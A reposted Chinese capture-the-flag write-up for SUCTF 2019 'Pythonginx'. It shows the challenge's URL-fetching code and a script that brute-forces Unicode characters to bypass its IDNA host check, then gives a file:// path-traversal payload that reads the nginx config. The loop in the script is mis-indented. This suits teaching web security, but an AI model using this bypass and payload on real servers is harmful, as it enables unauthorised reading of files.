栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Python

[SUCTF 2019]Pythonginx

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

[SUCTF 2019]Pythonginx

[SUCTF 2019]Pythonginx
@app.route('/getUrl', methods=['GET', 'POST']) 
def getUrl(): 
    url = request.args.get("url") 
    host = parse.urlparse(url).hostname 
    if host == 'suctf.cc': 
        return "我扌 your problem? 111" 
    parts = list(urlsplit(url)) 
    host = parts[1] 
    if host == 'suctf.cc': 
        return "我扌 your problem? 222 " + host 
    newhost = [] 
    for h in host.split('.'): 
        newhost.append(h.encode('idna').decode('utf-8')) 
        parts[1] = '.'.join(newhost) #去掉 url 中的空格 
        finalUrl = urlunsplit(parts).split(' ')[0] 
        host = parse.urlparse(finalUrl).hostname 
        if host == 'suctf.cc': 
            return urllib.request.urlopen(finalUrl).read() 
        else: 
            return "我扌 your problem? 333" 

题目提示了,nginx一些文件存放的地方

配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf

大概就是需要绕过前两个if知道最后的if来进行任意文件读取,但这三个if都需要等于suctf.cc

而三个if种判断条件都是相同的,不过host构造却是不同的。

当URL中出现一些特殊字符是,输出的结果可能不再预期

接着我们只需要按照getUrl函数写出爆破脚本即可

from urllib.parse import urlparse,urlunsplit
from urllib import parse
def get_unicode():
	for x in range(65536):
	uni=chr(x)
    url="http://suctf.c{}".format(uni)
    try:
        if getUrl(url):
            print("str: "+uni+" unicode: \u"+str(hex(x))[2:])
    except:
        pass
def getUrl(url):
    url=url
    host=parse.urlparse(url).hostname
    if host =='suctf.cc':
        return False
    parts=list(urlsplit(url))
    host=parts[1]
    if host == 'suctf.cc':
        return False
    newhost=[]
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1]='.'.join(newhost)
    finalUrl=urlunsplit(parts).split(' ')[0]
    host=parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return True
    else:
        return False
 
 
if __name__=='__main__':
    get_unicode()

运行脚本,随便复制一个,去读取文件

file://suctf.cℂ/../../../../..//usr/local/nginx/conf/nginx.conf

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/769470.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号